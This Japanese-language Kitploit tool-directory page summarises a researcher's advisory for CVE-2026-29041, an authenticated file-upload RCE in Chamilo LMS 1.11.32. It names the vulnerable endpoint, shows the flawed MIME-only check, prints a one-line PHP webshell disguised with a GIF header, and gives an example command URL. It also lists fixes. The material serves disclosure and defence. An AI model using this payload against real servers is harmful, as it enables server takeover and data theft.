Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29041 — こんにちは、Kです。これは私の最初のCVEであり、リモートコード実行(RCE)の脆弱性です。これは、セキュリティ研究者としての私の旅の始まりです。 | Kitploit
ツール/GitHubGitHub/kx00007/cve-2026-29041
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubkx00007/cve-2026-29041

CVE-2026-29041

こんにちは、Kです。これは私の最初のCVEであり、リモートコード実行(RCE)の脆弱性です。これは、セキュリティ研究者としての私の旅の始まりです。

リポジトリを見る
25ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-29041 — Chamilo LMS 1.11.32 における制限のないファイルアップロードを介した認証済みRCE

認証済みリモートコード実行(RCE) — Chamilo LMS 1.11.32 の ck_uploadimage AJAXエンドポイントにおける不適切なファイルアップロード検証による脆弱性。低権限の学生アカウントが画像を装ったPHPウェブシェルをアップロードし、サーバー全体を完全に侵害することが可能です。


📋 脆弱性サマリー

フィールド詳細
製品Chamilo LMS
バージョン1.11.32(確認済み)
脆弱性危険なタイプのファイルを制限なくアップロード(CWE-434)
影響認証済みリモートコード実行(RCE)
CVSS v3.18.8(HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
認証要件✅ あり — 学生ロール(低権限)
CWECWE-434: 危険なタイプのファイルの制限のないアップロード
発見者MENG HOKSENG

🧠 脆弱性の詳細

影響を受けるエンドポイント

root@kitploit:~
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]

脆弱なファイル: main/inc/ajax/document.ajax.php
脆弱な関数: ck_uploadimage

根本原因の分析

アップロードハンドラは、PHPの mime_content_type() 関数を使用したMIMEタイプ検証のみを実行します。この関数はファイルのマジックバイト(コンテンツの先頭数バイト)を検査するものであり、ファイル拡張子は検査しません。

root@kitploit:~
// 脆弱な検証ロジック(簡略化)
$mime = mime_content_type($_FILES['upload']['tmp_name']);

if (!mimeAccepted($mime, ['image'])) {
    die("Invalid file type");
}

// ❌ 拡張子の検証なし
// ❌ ファイル名のサニタイズなし
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);

2つの別個の弱点が組み合わさり、完全な悪用チェーンを構成します:

  1. MIMEタイプのみの検証 — 有効な画像マジックバイト(GIF89a)をPHPコードの先頭に付加することで回避可能
  2. 元のファイル名が保持される — サーバーは攻撃者が制御するファイル名(.php 拡張子を含む)でファイルを保存し、ウェブからアクセス可能なディレクトリに配置する

バイパス手法

悪意のあるファイルは以下のように作成されます:

root@kitploit:~
GIF89a;<?php system($_GET['cmd']); ?>
  • mime_content_type() は GIF89a を読み取り → image/gif として分類 → 検証を通過
  • move_uploaded_file() は /app/upload/users/<id>/ に shell.php として保存 → ブラウザから直接実行可能

💣 概念実証(PoC)

学生としてログインし、ファイルアップロードを自動実行する完全なエクスプロイトを実行します image Pythonの完全なエクスプロイトを実行後、アップロードしたウェブシェルを http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id で確認できます image

🛡️ 影響

この脆弱性を悪用すると、学生レベルのアカウントからサーバー全体の完全な侵害につながります:

  • 🔴 リモートコード実行 — ウェブシェルを介した任意のOSコマンド実行
  • 🔴 データ流出 — アプリケーションデータベースの認証情報とファイルへの完全なアクセス
  • 🔴 ラテラルムーブメント — 侵害されたサーバーから内部ネットワークへのピボット
  • 🔴 永続化 — ウェブからアクセス可能なディレクトリへのバックドア設置
  • 🔴 サービス妨害 — コースコンテンツとユーザーデータの改ざんまたは削除

CIAへの影響: 機密性、完全性、可用性の完全な喪失。


🔧 修正策

▪ 厳格なファイル拡張子の許可リストを適用する 明示的に許可された画像ファイル拡張子(例: .jpg、.png、.gif)のみを受け付ける必要があります。 .php、.phtml、.phar などの実行可能な拡張子を持つアップロードファイルは、 MIMEタイプに関係なく拒否する必要があります。

▪ MIMEタイプ検証のみに依存しない mime_content_type() などの関数を使用したMIMEタイプチェックは、 細工されたファイルヘッダーでバイパスできるため、主要なセキュリティ制御として使用すべきではありません。 MIME検証は二次的なチェックとしてのみ使用してください。

▪ アップロードされたファイルをウェブからアクセス可能なディレクトリの外部に保存する アップロードされたコンテンツは、ウェブサーバーから直接アクセスできないディレクトリに保存する必要があります。 公開アクセスが必要な場合は、直接アクセスではなく、制御されたハンドラを通じてファイルを提供する必要があります。

📄 参考情報

  • Chamilo LMS 公式サイト
  • CWE-434: 危険なタイプのファイルの制限のないアップロード
  • OWASP: 制限のないファイルアップロード
  • CVSS v3.1 計算機

👤 著者

MENG HOKSENG
独立系セキュリティ研究者


⚠️ 法的免責事項

このプロジェクトは教育目的および許可されたセキュリティ研究目的のみで公開されています。著者は、このエクスプロイトの誤用またはそれによって生じた損害について一切の責任を負いません。セキュリティ評価を実施する前に、必ず明示的な書面による許可を取得してください。

ツールをダウンロード